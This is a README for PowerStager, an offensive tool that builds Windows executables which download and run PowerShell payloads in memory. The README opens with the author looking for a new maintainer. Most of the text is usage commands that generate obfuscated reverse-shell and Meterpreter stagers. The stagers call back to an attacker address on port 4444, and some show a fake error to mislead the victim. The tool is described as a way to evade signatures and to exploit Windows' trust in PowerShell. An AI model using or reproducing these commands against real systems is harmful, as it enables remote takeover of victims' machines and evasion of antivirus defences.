!!! I'm looking for a new maintainer for PowerStager !!!

I currently lack the time and interest to continue this "project". PowerStager was initially developed just for proving a point to my previous employer, but it has since been used by others. If there is any interest out there to continue and take over maintaining PowerStager send me an email at chris@noxz.tech.

PowerStager: This script creates an executable stager that downloads a selected powershell payload.

Contact

Description

This script creates an executable stager that downloads a selected powershell payload, loads it into memory and executes it using obfuscated EC methods. The script will also encrypt the stager for dynamic signatures and some additional obfuscation.

This enables the actual payload to be executed indirectly without the victim downloading it, only by executing the stager. The attacker can then for example implement evasion techniques on the web server, hosting the payload, instead of in the stager itself.

Additional methods allows the payload to be embedded into the 'stager' and temporarily stored encrypted on disk for memory injection.

Not only are powershell powerful when managing Windows, it's also powerful when exploiting Windows. This script exploits multiple Windows features such as its inherit trust of powershell, interpretation of shorthand syntaxes, code evaluation and more...

Generate a reverse shell payload to upload:

powerstager --target win64 \
--reverse-shell \
--lhost 13.37.13.37 \
--lport 4444 \
--generate \
--output out.ps1

powerstager --target win64 \
--url <url pointing the the uploaded payload> \
--output out.exe

Generate an embedded reverse shell payload, with obfuscation and fake-error:

powerstager --target win64 \
--reverse-shell \
--lhost 13.37.13.37 \
--lport 4444 \
--obfuscation \
--fake-error \
--output out.exe

Generate a meterpreter payload to upload:

powerstager --target win64 \
--meterpreter \
--lhost 13.37.13.37 \
--lport 4444 \
--generate \
--output out.ps1

powerstager --target win64 \
--url <url pointing the the uploaded payload> \
--output out.exe

Generate an embedded meterpreter payload, with obfuscation and fake-error:

powerstager --target win64 \
--meterpreter \
--lhost 13.37.13.37 \
--lport 4444 \
--obfuscation \
--fake-error \
--output out.exe

Generate an embedded custom payload:

powerstager --target win64 \
--path input.ps1
--output out.exe
